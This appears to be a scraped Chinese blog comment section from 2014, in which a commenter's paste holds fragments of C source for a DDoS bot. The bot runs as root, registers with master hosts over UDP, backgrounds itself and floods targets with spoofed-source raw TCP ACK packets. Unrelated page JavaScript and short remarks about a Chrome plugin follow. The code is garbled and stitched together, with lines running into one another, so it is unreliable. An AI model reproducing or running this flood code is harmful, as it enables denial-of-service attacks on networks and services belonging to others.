    char buf[1024];

    if (getuid() != 0) {
      fprintf(stderr, “Must be ran as root.\n”);
      exit(0);
      }

    if ((fd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP)) == -1) {
      perror(“socket”);
      exit(0);
      }

    sock.sin_family = AF_INET;
    sock.sin_port = htons(SERVER_PORT);
    sock.sin_addr.s_addr = INADDR_ANY;
    memset(&sock.sin_zero, 0, 8);

    if (bind(fd, (struct sockaddr *)&sock, sizeof(struct sockaddr)) == -1) {
      perror(“bind”);
      exit(0);
      }

    if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (void *)&opt, sizeof(int)) == -1) {
      perror(“setsockopt”);
      exit(0);
      }

    forkbg();

    for (i = 0 ; m[i] != 0 ; i++) {
    ia.s_addr = inet_addr(m[i]);
    send2master(“newserver”, ia);
    }

    for (;;) {
      socksize = sizeof(struct sockaddr);
      memset(&buf, 0, sizeof buf);
      if (recvfrom(fd, &buf, (sizeof buf)-1, 0, (struct sockaddr *)&remote, &socksize) 0) {
      printf(“Forked into background, pid %d\n”, pid);
      exit(0);
      }

    }
    struct ip_hdr {
     u_int ip_hl:4, /* header length in 32 bit words */
         ip_v:4; /* ip version */
     u_char ip_tos; /* type of service */
     u_short ip_len; /* total packet length */
     u_short ip_id; /* identification */
     u_short ip_off; /* fragment offset */
     u_char ip_ttl; /* time to live */
     u_char ip_p; /* protocol */
     u_short ip_sum; /* ip checksum */
     u_long saddr, daddr; /* source and dest address */
    };

    struct tcp_hdr {
     u_short th_sport; /* source port */
     u_short th_dport; /* destination port */
     u_long th_seq; /* sequence number */
     u_long th_ack; /* acknowledgement number */
     u_int th_x2:4, /* unused */
         th_off:4; /* data offset */
     u_char th_flags; /* flags field */
     u_short th_win; /* window size */
     u_short th_sum; /* tcp checksum */
     u_short th_urp; /* urgent pointer */
    };

    struct tcpopt_hdr {
     u_char type; /* type */
     u_char len; /* length */
     u_short value; /* value */
    };

    struct pseudo_hdr { /* See RFC 793 Pseudo Header */
     u_long saddr, daddr; /* source and dest address */
     u_char mbz, ptcl; /* zero and protocol */
     u_short tcpl; /* tcp length */
    };

    struct packet {
     struct ip/*_hdr*/ ip;
     struct tcphdr tcp;
    /* struct tcpopt_hdr opt; */
    };

    struct cksum {
     struct pseudo_hdr pseudo;
     struct tcphdr tcp;
    };

    struct packet packet;
    struct cksum cksum;
    struct sockaddr_in s_in;
    int sock;

    /* This is a reference internet checksum implimentation, not very fast */
    inline u_short in_cksum(u_short *addr, int len)
    {
     register int nleft = len;
     register u_short *w = addr;
     register int sum = 0;
     u_short answer = 0;

     /* Our algorithm is simple, using a 32 bit accumulator (sum), we add
      * sequential 16 bit words to it, and at the end, fold back all the
      * carry bits from the top 16 bits into the lower 16 bits. */

     while (nleft > 1) {
       sum += *w++;
       nleft -= 2;
     }

     /* mop up an odd byte, if necessary */
     if (nleft == 1) {
       *(u_char *)(&answer) = *(u_char *) w;
       sum += answer;
     }

     /* add back carry outs from top 16 bits to low 16 bits */
     sum = (sum >> 16) + (sum & 0xffff); /* add hi 16 to low 16 */
     sum += (sum >> 16); /* add carry */
     answer = ~sum; /* truncate to 16 bits */
     return(answer);
    }
    void stream (int t, int until, u_long dstaddr, char *dstaddrs[])
    {
     struct timespec ts;
     int on = 1;

    if ((sock = socket(PF_INET, SOCK_RAW, IPPROTO_RAW)) == -1) return;

    if (setsockopt(sock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(int)) == -1) return;

    srand((time(NULL) ^ getpid()) + getppid());

     memset(&packet, 0, sizeof packet);

     ts.tv_sec = 0;
     ts.tv_nsec = 10;

     packet.ip.ip_hl = 5;
     packet.ip.ip_v = 4;
     packet.ip.ip_p = IPPROTO_TCP;
     packet.ip.ip_tos = 0x08;
     packet.ip.ip_id = rand();
     packet.ip.ip_len = FIX(sizeof packet);
     packet.ip.ip_off = 0; /* IP_DF? */
     packet.ip.ip_ttl = 255;
    if (!t)
     packet.ip.ip_dst.s_addr = dstaddr;

     packet.tcp.th_flags = TH_ACK;
     packet.tcp.th_win = htons(16384);
     packet.tcp.th_seq = random();
     packet.tcp.th_ack = 0;
     packet.tcp.th_off = 5; /* 5 */
     packet.tcp.th_urp = 0;
     packet.tcp.th_sport = rand();
     packet.tcp.th_dport = rand();

    if (!t)
     cksum.pseudo.daddr = dstaddr;
     cksum.pseudo.mbz = 0;
     cksum.pseudo.ptcl = IPPROTO_TCP;
     cksum.pseudo.tcpl = htons(sizeof(struct tcphdr));

     s_in.sin_family = AF_INET;
    if (!t)
     s_in.sin_addr.s_addr = dstaddr;
     s_in.sin_port = packet.tcp.th_dport;

     while (time(0) <= until) {
    if (t) {
    int x;

    for (x = 0 ; dstaddrs[x] != NULL ; x++) {
    if (!strchr(dstaddrs[x], '.')) break;
    packet.ip.ip_dst.s_addr = inet_addr(dstaddrs[x]);
    cksum.pseudo.daddr = inet_addr(dstaddrs[x]);
    s_in.sin_addr.s_addr = inet_addr(dstaddrs[x]);
    cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
    ++packet.ip.ip_id;
    ++packet.tcp.th_sport;
    ++packet.tcp.th_seq;
    s_in.sin_port = packet.tcp.th_dport = rand();
    packet.ip.ip_sum = 0;
    packet.tcp.th_sum = 0;
    cksum.tcp = packet.tcp;
    packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
    packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum);
    sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
    }
    } else {

     cksum.pseudo.saddr = packet.ip.ip_src.s_addr = random();
      ++packet.ip.ip_id;
      ++packet.tcp.th_sport;
      ++packet.tcp.th_seq;

      s_in.sin_port = packet.tcp.th_dport = rand();

      packet.ip.ip_sum = 0;
      packet.tcp.th_sum = 0;

      cksum.tcp = packet.tcp;

      packet.ip.ip_sum = in_cksum((void *)&packet.ip, 20);
      packet.tcp.th_sum = in_cksum((void *)&cksum, sizeof cksum);

    sendto(sock, &packet, sizeof packet, 0, (struct sockaddr *)&s_in, sizeof s_in);
      }
     }
    }

    void nlstr (char *str) {
    if (str[strlen(str)-1] == '\n') str[strlen(str)-1] = '';
    }

    h

    var g_domain=”qq.com”;
    document.domain = g_domain;
    document.createElement(‘header’);
    document.createElement(‘footer’);
    document.createElement(‘section’);
    document.createElement(‘article’);
    document.createElement(‘aside’);
    document.createElement(‘nav’);
    //foot #**?/urse/url/https/
    var H = 768, getHeight = function (doc){var _doc=doc||document;return _doc.compatMode==”CSS1Compat”?_doc.documentElement.clientHeight:_doc.body.clientHeight};
    if(getHeight() > H){document.write(‘.big_page{position:absolute;}’)}

    <!– html5 ac\:_.|+*–*+|._:/bo –>

  17. huugle 2014 年 7 月 15 日

    其实我老觉得替换的这种如果能做成浏览器插件是否更加的方便.

    • TAT.Rehorn 2014 年 7 月 15 日

      有人做了 chrome 插件版本,运用场景比较局限,只能调试浏览器的东西,无法抓取系统级的请求。当然不排除后面 chrome 开放更高级的系统 api 权限。不过很赞同你的想法,chrome 的开发者工具,应该在未来还是非常有现象空间的。

  18. tcdona 2014 年 7 月 15 日

    ~~mark,支持牛作

发表评论